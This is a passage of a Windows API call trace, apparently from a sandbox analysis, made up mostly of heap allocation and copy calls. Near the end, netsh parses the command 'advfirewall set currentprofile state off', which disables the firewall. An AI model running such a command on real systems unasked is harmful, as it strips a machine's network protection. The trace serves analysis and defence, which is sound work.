0x311da0 [0060.842] GetProcessHeap () returned 0x2c0000 [0060.842] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x324a40 | out: hHeap=0x2c0000) returned 1 [0064.805] RegisterContext () returned 0x0 [0064.805] GetProcessHeap () returned 0x2c0000 [0064.805] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec770 [0064.805] memcpy (in: _Dst=0x2ec770, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec770) returned 0x2ec770 [0064.805] GetProcessHeap () returned 0x2c0000 [0064.805] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.813] RegisterContext () returned 0x0 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308d10 [0064.813] memcpy (in: _Dst=0x308d10, _Src=0x2ec770, _Size=0x70 | out: _Dst=0x308d10) returned 0x308d10 [0064.813] memcpy (in: _Dst=0x308d80, _Src=0x207770, _Size=0x70 | out: _Dst=0x308d80) returned 0x308d80 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec770 | out: hHeap=0x2c0000) returned 1 [0064.813] RegisterContext () returned 0x0 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x770) returned 0x344470 [0064.813] memcpy (in: _Dst=0x344470, _Src=0x311940, _Size=0x310 | out: _Dst=0x344470) returned 0x344470 [0064.813] memcpy (in: _Dst=0x344780, _Src=0x207770, _Size=0x70 | out: _Dst=0x344780) returned 0x344780 [0064.813] memcpy (in: _Dst=0x3447f0, _Src=0x311c50, _Size=0x3f0 | out: _Dst=0x3447f0) returned 0x3447f0 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311940 | out: hHeap=0x2c0000) returned 1 [0064.813] RegisterContext () returned 0x0 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec770 [0064.813] memcpy (in: _Dst=0x2ec770, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec770) returned 0x2ec770 [0064.813] GetProcessHeap () returned 0x2c0000 [0064.813] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.813] RegisterContext () returned 0x0 [0064.814] GetProcessHeap () returned 0x2c0000 [0064.814] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308e00 [0064.814] memcpy (in: _Dst=0x308e00, _Src=0x207770, _Size=0x70 | out: _Dst=0x308e00) returned 0x308e00 [0064.814] memcpy (in: _Dst=0x308e70, _Src=0x2ec770, _Size=0x70 | out: _Dst=0x308e70) returned 0x308e70 [0064.814] GetProcessHeap () returned 0x2c0000 [0064.814] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec770 | out: hHeap=0x2c0000) returned 1 [0064.814] RegisterContext () returned 0x0 [0064.814] RegisterContext () returned 0x0 [0064.814] RegisterContext () returned 0x0 [0064.814] GetProcessHeap () returned 0x2c0000 [0064.814] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x7e0) returned 0x344bf0 [0064.814] memcpy (in: _Dst=0x344bf0, _Src=0x344470, _Size=0x620 | out: _Dst=0x344bf0) returned 0x344bf0 [0064.814] memcpy (in: _Dst=0x345210, _Src=0x207770, _Size=0x70 | out: _Dst=0x345210) returned 0x345210 [0064.814] memcpy (in: _Dst=0x345280, _Src=0x344a90, _Size=0x150 | out: _Dst=0x345280) returned 0x345280 [0064.815] GetProcessHeap () returned 0x2c0000 [0064.815] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x344470 | out: hHeap=0x2c0000) returned 1 [0064.816] RegisterContext () returned 0x0 [0064.816] GetProcessHeap () returned 0x2c0000 [0064.816] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x850) returned 0x3453e0 [0064.816] memcpy (in: _Dst=0x3453e0, _Src=0x344bf0, _Size=0x690 | out: _Dst=0x3453e0) returned 0x3453e0 [0064.816] memcpy (in: _Dst=0x345a70, _Src=0x207770, _Size=0x70 | out: _Dst=0x345a70) returned 0x345a70 [0064.816] memcpy (in: _Dst=0x345ae0, _Src=0x345280, _Size=0x150 | out: _Dst=0x345ae0) returned 0x345ae0 [0064.816] GetProcessHeap () returned 0x2c0000 [0064.816] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x344bf0 | out: hHeap=0x2c0000) returned 1 [0064.817] RegisterContext () returned 0x0 [0064.817] GetProcessHeap () returned 0x2c0000 [0064.817] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8c0) returned 0x344470 [0064.817] memcpy (in: _Dst=0x344470, _Src=0x3453e0, _Size=0x540 | out: _Dst=0x344470) returned 0x344470 [0064.817] memcpy (in: _Dst=0x3449b0, _Src=0x2075d0, _Size=0x70 | out: _Dst=0x3449b0) returned 0x3449b0 [0064.817] memcpy (in: _Dst=0x344a20, _Src=0x345920, _Size=0x310 | out: _Dst=0x344a20) returned 0x344a20 [0064.817] GetProcessHeap () returned 0x2c0000 [0064.817] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3453e0 | out: hHeap=0x2c0000) returned 1 [0064.817] RegisterContext () returned 0x0 [0064.817] GetProcessHeap () returned 0x2c0000 [0064.817] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec770 [0064.817] memcpy (in: _Dst=0x2ec770, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec770) returned 0x2ec770 [0064.817] GetProcessHeap () returned 0x2c0000 [0064.817] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.823] RegisterContext () returned 0x0 [0064.823] GetProcessHeap () returned 0x2c0000 [0064.823] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x346c70 [0064.824] memcpy (in: _Dst=0x346c70, _Src=0x207770, _Size=0x70 | out: _Dst=0x346c70) returned 0x346c70 [0064.824] memcpy (in: _Dst=0x346ce0, _Src=0x2ec770, _Size=0x70 | out: _Dst=0x346ce0) returned 0x346ce0 [0064.824] GetProcessHeap () returned 0x2c0000 [0064.824] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec770 | out: hHeap=0x2c0000) returned 1 [0064.824] RegisterContext () returned 0x0 [0064.824] GetProcessHeap () returned 0x2c0000 [0064.824] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x348c40 [0064.824] memcpy (in: _Dst=0x348c40, _Src=0x346c70, _Size=0x70 | out: _Dst=0x348c40) returned 0x348c40 [0064.824] memcpy (in: _Dst=0x348cb0, _Src=0x207770, _Size=0x70 | out: _Dst=0x348cb0) returned 0x348cb0 [0064.824] memcpy (in: _Dst=0x348d20, _Src=0x346ce0, _Size=0x70 | out: _Dst=0x348d20) returned 0x348d20 [0064.824] GetProcessHeap () returned 0x2c0000 [0064.824] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x346c70 | out: hHeap=0x2c0000) returned 1 [0064.824] RegisterContext () returned 0x0 [0064.824] GetProcessHeap () returned 0x2c0000 [0064.824] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c0) returned 0x348da0 [0064.824] memcpy (in: _Dst=0x348da0, _Src=0x207770, _Size=0x70 | out: _Dst=0x348da0) returned 0x348da0 [0064.824] memcpy (in: _Dst=0x348e10, _Src=0x348c40, _Size=0x150 | out: _Dst=0x348e10) returned 0x348e10 [0064.824] GetProcessHeap () returned 0x2c0000 [0064.824] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x348c40 | out: hHeap=0x2c0000) returned 1 [0064.825] RegisterContext () returned 0x0 [0064.825] GetProcessHeap () returned 0x2c0000 [0064.825] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec770 [0064.825] memcpy (in: _Dst=0x2ec770, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec770) returned 0x2ec770 [0064.825] GetProcessHeap () returned 0x2c0000 [0064.825] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.825] RegisterContext () returned 0x0 [0064.825] GetProcessHeap () returned 0x2c0000 [0064.825] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x346c70 [0064.825] memcpy (in: _Dst=0x346c70, _Src=0x2ec770, _Size=0x70 | out: _Dst=0x346c70) returned 0x346c70 [0064.825] memcpy (in: _Dst=0x346ce0, _Src=0x207770, _Size=0x70 | out: _Dst=0x346ce0) returned 0x346ce0 [0064.825] GetProcessHeap () returned 0x2c0000 [0064.825] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec770 | out: hHeap=0x2c0000) returned 1 [0064.826] RegisterContext () returned 0x0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x348c40 [0064.826] memcpy (in: _Dst=0x348c40, _Src=0x346c70, _Size=0xe0 | out: _Dst=0x348c40) returned 0x348c40 [0064.826] memcpy (in: _Dst=0x348d20, _Src=0x207770, _Size=0x70 | out: _Dst=0x348d20) returned 0x348d20 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x346c70 | out: hHeap=0x2c0000) returned 1 [0064.826] RegisterContext () returned 0x0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec770 [0064.826] memcpy (in: _Dst=0x2ec770, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec770) returned 0x2ec770 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.826] RegisterContext () returned 0x0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec7f0 [0064.826] memcpy (in: _Dst=0x2ec7f0, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec7f0) returned 0x2ec7f0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0064.826] RegisterContext () returned 0x0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x930) returned 0x344d40 [0064.826] memcpy (in: _Dst=0x344d40, _Src=0x344470, _Size=0x3f0 | out: _Dst=0x344d40) returned 0x344d40 [0064.826] memcpy (in: _Dst=0x345130, _Src=0x207770, _Size=0x70 | out: _Dst=0x345130) returned 0x345130 [0064.826] memcpy (in: _Dst=0x3451a0, _Src=0x344860, _Size=0x4d0 | out: _Dst=0x3451a0) returned 0x3451a0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x344470 | out: hHeap=0x2c0000) returned 1 [0064.826] RegisterContext () returned 0x0 [0064.826] GetProcessHeap () returned 0x2c0000 [0064.826] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x9a0) returned 0x348f70 [0064.827] memcpy (in: _Dst=0x348f70, _Src=0x344d40, _Size=0x930 | out: _Dst=0x348f70) returned 0x348f70 [0064.827] memcpy (in: _Dst=0x3498a0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3498a0) returned 0x3498a0 [0064.827] GetProcessHeap () returned 0x2c0000 [0064.827] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x344d40 | out: hHeap=0x2c0000) returned 1 [0066.839] RegisterContext () returned 0x0 [0066.840] GetProcessHeap () returned 0x2c0000 [0066.840] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa10) returned 0x34dc40 [0066.840] memcpy (in: _Dst=0x34dc40, _Src=0x348f70, _Size=0x70 | out: _Dst=0x34dc40) returned 0x34dc40 [0066.840] memcpy (in: _Dst=0x34dcb0, _Src=0x207770, _Size=0x70 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0066.840] memcpy (in: _Dst=0x34dd20, _Src=0x348fe0, _Size=0x930 | out: _Dst=0x34dd20) returned 0x34dd20 [0066.840] GetProcessHeap () returned 0x2c0000 [0066.840] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x348f70 | out: hHeap=0x2c0000) returned 1 [0066.840] RegisterContext () returned 0x0 [0066.840] GetProcessHeap () returned 0x2c0000 [0066.840] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec970 [0066.840] memcpy (in: _Dst=0x2ec970, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec970) returned 0x2ec970 [0066.840] GetProcessHeap () returned 0x2c0000 [0066.840] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0066.840] SetConsoleCtrlHandler (HandlerRoutine=0x9e9198, Add=1) returned 1 [0066.840] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77160000 [0066.841] GetProcAddress (hModule=0x77160000, lpProcName="SetThreadUILanguage") returned 0x771761e0 [0066.841] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.841] FreeLibrary (hLibModule=0x77160000) returned 1 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-?") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-h") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="?") returned 34 [0066.841] _wcsicmp (_String1="advfirewall", _String2="/?") returned 50 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-v") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-a") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-c") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-f") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-r") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-u") returned 52 [0066.841] _wcsicmp (_String1="advfirewall", _String2="-p") returned 52 [0066.841] GetVersionExW (in: lpVersionInformation=0x207920*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x207920*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.841] _vsnwprintf (in: _Buffer=0x9f5b80, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x2078e8 | out: _Buffer="6.1.7601") returned 8 [0066.841] _vsnwprintf (in: _Buffer=0x9f5fa0, _BufferCount=0x103, _Format="%d", _ArgList=0x2078e8 | out: _Buffer="7601") returned 4 [0066.841] _vsnwprintf (in: _Buffer=0x9f5d90, _BufferCount=0x103, _Format="%d", _ArgList=0x2078e8 | out: _Buffer="1") returned 1 [0066.841] _vsnwprintf (in: _Buffer=0x9f61b0, _BufferCount=0x103, _Format="%d", _ArgList=0x2078e8 | out: _Buffer="0") returned 1 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb20 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb40 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x33cb60 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb80 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x33cba0 [0066.842] wcscpy_s (in: _Destination=0x33cba0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cb60 | out: hHeap=0x2c0000) returned 1 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cb40 | out: hHeap=0x2c0000) returned 1 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb40 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb60 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x52) returned 0x32ab20 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cbc0 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cbe0 [0066.842] wcscpy_s (in: _Destination=0x33cbe0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc00 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304300 [0066.842] wcscpy_s (in: _Destination=0x304300, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc20 [0066.842] GetProcessHeap () returned 0x2c0000 [0066.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x343890 [0066.843] wcscpy_s (in: _Destination=0x343890, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc40 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x33cc60 [0066.843] wcscpy_s (in: _Destination=0x33cc60, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc80 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304320 [0066.843] wcscpy_s (in: _Destination=0x304320, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x32ab20 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cb60 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb60 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e690 [0066.843] wcscpy_s (in: _Destination=0x34e690, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cbe0 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cbc0 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cbc0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cbe0 [0066.843] wcscpy_s (in: _Destination=0x33cbe0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x34e690 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.843] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cb60 | out: hHeap=0x2c0000) returned 1 [0066.843] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cb60 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304330 [0066.844] wcscpy_s (in: _Destination=0x304330, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x304300 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cc00 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc00 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x3438c0 [0066.844] wcscpy_s (in: _Destination=0x3438c0, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x343890 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cc20 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc20 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x34e690 [0066.844] wcscpy_s (in: _Destination=0x34e690, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cc60 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cc40 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc40 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304300 [0066.844] wcscpy_s (in: _Destination=0x304300, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x304320 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.844] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x33cc80 | out: hHeap=0x2c0000) returned 1 [0066.844] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x30) returned 0x344dc0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x33cc80 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x33cc60 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304320 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x343890 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x34e6b0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304340 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x34e6d0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x34e6d0, Size=0xe) returned 0x34e6f0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x34e6f0, Size=0x24) returned 0x3438f0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x3438f0, Size=0x26) returned 0x343920 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x343920, Size=0x2c) returned 0x344e00 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x344e00, Size=0x2e) returned 0x344e40 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x344e40, Size=0x4a) returned 0x32ab20 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x32ab20, Size=0x4c) returned 0x32abe0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x32abe0, Size=0x56) returned 0x32ab20 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.845] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x32ab20, Size=0x58) returned 0x32abe0 [0066.845] GetProcessHeap () returned 0x2c0000 [0066.846] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x32abe0, Size=0x5e) returned 0x346300 [0066.847] GetProcessHeap () returned 0x2c0000 [0066.847] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x346300 | out: hHeap=0x2c0000) returned 1 [0066.847] _wcsnicmp (_String1="advfirewall", _String2="dump", _MaxCount=0xb) returned -3 [0066.847] _wcsnicmp (_String1="advfirewall", _String2="help", _MaxCount=0xb) returned -7 [0066.847] _wcsnicmp (_String1="advfirewall", _String2="?", _MaxCount=0xb) returned 34 [0066.847] _wcsnicmp (_String1="advfirewall", _String2="exec", _MaxCount=0xb) returned -4 [0066.847] _wcsnicmp (_String1="advfirewall", _String2="advfirewall", _MaxCount=0xb) returned 0 [0066.847] GetProcessHeap () returned 0x2c0000 [0066.847] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e6f0 [0066.847] GetProcessHeap () returned 0x2c0000 [0066.847] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e6d0 [0066.847] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x5e) returned 0x346300 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 